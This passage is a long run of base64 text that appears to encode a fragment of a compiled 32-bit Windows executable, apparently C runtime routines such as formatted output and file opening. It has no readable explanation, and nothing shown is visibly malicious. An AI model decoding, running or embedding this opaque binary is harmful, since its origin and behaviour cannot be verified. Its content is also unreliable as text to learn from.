fDoc+3+/4tF8DlYFA+FkAAAAGaLRRS5/wAAAGY7wXY2O/N0Dzv7dgtXU1bo2TL//4PEDOjUC///xwAqAAAA6MkL//+LADhd/HQHi034g2Fw/V9eW8nDO/N0Jjv7dyDoqQv//2oiXokw6P1C//84Xfx0hYtF+INgcP3pef///4gGi0UIO8N0BscAAQAAADhd/A+EPP///4tF+INgcP3pMP///41NDFFTV1ZqAY1NFFFTiV0M/3AE/xVI4gMQO8N0FDldDA+Fav///4tNCDvLdL2JAeu5/xV44QMQg/h6D4VQ////O/MPhHP///87+w+Ga////1dTVugOMv//g8QM6Vv///+L/1WL7GoA/3UU/3UQ/3UM/3UI6JP+//+DxBRdw4v/VYvs/wXcIQUQaAAQAADoBSj//1mLTQiJQQiFwHQNg0kMCMdBGAAQAADrEYNJDASNQRSJQQjHQRgCAAAAi0EIg2EEAIkBXcNqEGhYwwQQ6JRT//+LXQiD+/51E+iKCv//xwAJAAAAg8j/6aEAAACF23gIOx0QMQUQchLoawr//8cACQAAAOi+Qf//69qLw8H4BY08hSAxBRCL84PmH8HmBosHD75EBgSD4AF0zlPoF37//1mDZfwAiwf2RAYEAXQxU+iaff//WVD/FXThAxCFwHUL/xV44QMQiUXk6wSDZeQAg33kAHQZ6BEK//+LTeSJCOj0Cf//xwAJAAAAg03k/8dF/P7////oDAAAAItF5OgYU///w4tdCFPoSn7//1nDi/9Vi+y4IBAAAOgYJQAAodAGBRAzxYlF/FNWi3UIV1bo3vL+/4vYM8BZiZ3o7///OUYEfQOJRgRqAVBQU+j6AwAAg8QQi/iJvezv//+JlfDv//+F0n8QfASF/3MKg8j/C9Dp1AIAAIvDwfgFjQSFIDEFEIPjH4mF5O///4sAweMGA8OKSCQCydD590YMCAEAAIiN++///3UXi0YEi43w7///mSv4G8qLx4vR6YsCAACLDotWDIv5K34Iib307///9sIDD4RbAQAAgL377///AQ+FGgEAADPSOVAwD4QPAQAA0e+JveDv//85VgR1EYuF7O///4uV8O///+k8AgAAUv9wLP9wKP+16O///+grAwAAi/CLheTv//+LAIPEEIv6O3QYKA+FM////zt8GCwPhSn///9qAI2N9O///1FoABAAAI2N/O///1H/NBj/FcThAxCFwA+EA////2oA/7Xw7////7Xs7////7Xo7///6MkCAACDxBCF0n8OD4zd/v//hcAPgtX+//+LjfTv//+LneDv//872Q+Hwf7//42F/O///4XbdDeNlA387///SzvCcyuKCID5DXUTjUr/O8FzGI1IAYA5CnUQi8HrDA+2yQ++iWAJBRADwUCF23XQjY387///K8Ez0gPGE9fpSwEAAPZABIB0FYtWCOsMgDoKdQb/hfTv//9CO9Fy8IuV7O///wuV8O///3Ufi4X07///6RcBAACE0njj6J0H///HABYAAADpJf7///ZGDAEPhNYAAACLVgSF0nULIZX07///6cQAAAArTgj2QASAjTwKD4ScAAAAagJqAGoA/7Xo7///6McBAACDxBA7hezv//91JDuV8O///3Uci0YIjQw46weAOAp1AUdAO8Fy9fdGDAAgAADrWWoA/7Xw7////7Xs7////7Xo7///6H8BAACDxBCF0n8OD4yT/f//hcAPgov9//+4AAIAADv4dxKLTgz2wQh0Cov498EABAAAdAOLfhiLheTv//+LAPZEGAQEdAFHgL377///AXUC0e8pvezv//+DnfDv//8AgL377///AXUG0a307///i4X07///M9IDhezv//8TlfDv//+LTfxfXjPNW+gk1/7/ycNqEGh4wwQQ6HFP//8zwDlFCA+VwIXAdRfoYwb//8cAFgAAAOi2Pf//g8r/i8LrLv91COik7v7/WYNl/AD/dQjocvz//1mJReCJVeTHRfz+////6AwAAACLReCLVeToYE///8P/dQjo4+7+/1nDi/9Vi+xRUYtFDFaLdQiJRfiLRRBXVolF/Ohref//g8//WTvHdRHo6AX//8cACQAAAIvHi9frSv91FI1N/FH/dfhQ/xVg4QMQiUX4O8d1E/8VeOEDEIXAdAlQ6NoF//9Z68+LxsH4BYsEhSAxBRCD5h/B5gaNRDAEgCD9i0X4i1X8X17Jw2oUaJjDBBDof07//4PL/4ld3Ild4ItFCIP4/nUc6H8F//+DIADoZAX//8cACQAAAIvDi9PpoQAAAIXAeAg7BRAxBRByGuhXBf//gyAA6DwF///HAAkAAADojzz//+vRi8jB+QWNPI0gMQUQi/CD5h/B5gaLDw++TDEEg+EBdMZQ6Oh4//9Zg2X8A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wAAg6XA/f//AIOlyP3//wCNhbD9//9QD7bCUOj16///WYXAioXv/f//WXQii42o/f//jbXc/f//6JT7//+KB0eJvcT9//+EwA+Elfz//4uNqP3//4213P3//+hy+///6WMHAAAPvsKD+GQPj+oBAAAPhHcCAACD+FMPj/MAAAAPhIEAAACD6EF0EEhIdFlISHQISEgPhYcFAACAwiDHhZT9//8BAAAAiJXv/f//g43w/f//QIO96P3//wCNvfT9//+4AAIAAIm95P3//4mFnP3//w+NRQIAAMeF6P3//wYAAADpoAIAAPeF8P3//zAIAAAPhZgAAACBjfD9//8ACAAA6YkAAAD3hfD9//8wCAAAdQqBjfD9//8ACAAAi43o/f//g/n/dQW5////f4PDBPeF8P3//xAIAACJndj9//+LW/yJneT9//8PhKUEAACF23ULofgGBRCJheT9//+LheT9///Hhcj9//8BAAAA6XMEAACD6FgPhMwCAABISHR5K8EPhCb///9ISA+FkgQAAIPDBPeF8P3//xAIAACJndj9//90MA+3Q/xQaAACAACNhfT9//9QjYXg/f//UOgy8f//g8QQhcB0H8eFpP3//wEAAADrE4pD/IiF9P3//8eF4P3//wEAAACNhfT9//+JheT9///pKQQAAIsDg8MEiZ3Y/f//hcB0PItIBIXJdDX3hfD9//8ACAAAD78AiY3k/f//dBSZK8LR+MeFyP3//wEAAADp5AMAAIOlyP3//wDp2AMAAKH0BgUQiYXk/f//UOhVAP//WenBAwAAg/hwD4/sAQAAD4TYAQAAg/hlD4yvAwAAg/hnD44y/v//g/hpdG2D+G50JIP4bw+FkwMAAPaF8P3//4CJteD9//90YYGN8P3//wACAADrVYszg8MEiZ3Y/f//6AL5//+FwA+EIvr///aF8P3//yB0DGaLhdz9//9miQbrCIuF3P3//4kGx4Wk/f//AQAAAOm+BAAAg43w/f//QMeF4P3//woAAACLjfD9///3wQCAAAAPhJ4BAAAD3otD+ItT/OnKAQAAdRGA+md1Y8eF6P3//wEAAADrVzmF6P3//34GiYXo/f//gb3o/f//owAAAH49i7Xo/f//gcZdAQAAVujOF///ipXv/f//WYmFrP3//4XAdBCJheT9//+JtZz9//+L+OsKx4Xo/f//owAAAIsDizVo4gMQg8MIiYWI/f//i0P8iYWM/f//jYWw/f//UP+1lP3//w++wv+16P3//4md2P3//1D/tZz9//+NhYj9//9XUP81+BIFEP/W/9CLnfD9//+DxByB44AAAAB0HYO96P3//wB1FI2FsP3//1BX/zUEEwUQ/9b/0FlZgL3v/f//Z3UYhdt1FI2FsP3//1BX/zUAEwUQ/9b/0FlZgD8tdRGBjfD9//8AAQAAR4m95P3//1fpDv7//4m16P3//4mNoP3//+skg+hzD4TE/P//SEgPhJT+//+D6AMPhbgBAADHhaD9//8nAAAA9oXw/f//gMeF4P3//xAAAAAPhHT+//+KhaD9//8EUcaF1P3//zCIhdX9///HhdD9//8CAAAA6VD+///3wQAQAAAPhVb+//+DwwT2wSB0GImd2P3///bBQHQGD79D/OsED7dD/JnrE4tD/PbBQHQDmesCM9KJndj9///2wUB0G4XSfxd8BIXAcxH32IPSAPfagY3w/f//AAEAAPeF8P3//wCQAACL2ov4dQIz24O96P3//wB9DMeF6P3//wEAAADrGoOl8P3///e4AAIAADmF6P3//34GiYXo/f//i8cLw3UGIYXQ/f//jXXzi4Xo/f///43o/f//hcB/BovHC8N0LYuF4P3//5lSUFNX6AbZ//+DwTCJnZz9//+L+Ivag/k5fgYDjaD9//+IDk7rvY1F8yvGRveF8P3//wACAACJheD9//+JteT9//90Y4XAdAeLzoA5MHRY/43k/f//i43k/f//xgEwQOtASWaDOAB0B4PAAoXJdfIrheT9///R+Osohdt1C6H0BgUQiYXk/f//i4Xk/f//6wdJgDgAdAVAhcl19SuF5P3//4mF4P3//4O9pP3//wAPhX0BAACLhfD9//+oQHQyqQABAAB0CcaF1P3//y3rGKgBdAnGhdT9//8r6wuoAnQRxoXU/f//IMeF0P3//wEAAACLncz9//8rneD9//8rndD9//+JnZz9//+oDHUni/uF234hi42o/f//jbXc/f//sCBP6DH1//+Dvdz9////dASF/3/fi72o/f//i43Q/f//jYXU/f//UI2F3P3//+g59f//9oXw/f//CFl0KPaF8P3//wR1H+sZjbXc/f//i8+wMEvo4fT//4O93P3///90BIXbf+ODvcj9//8Ai53g/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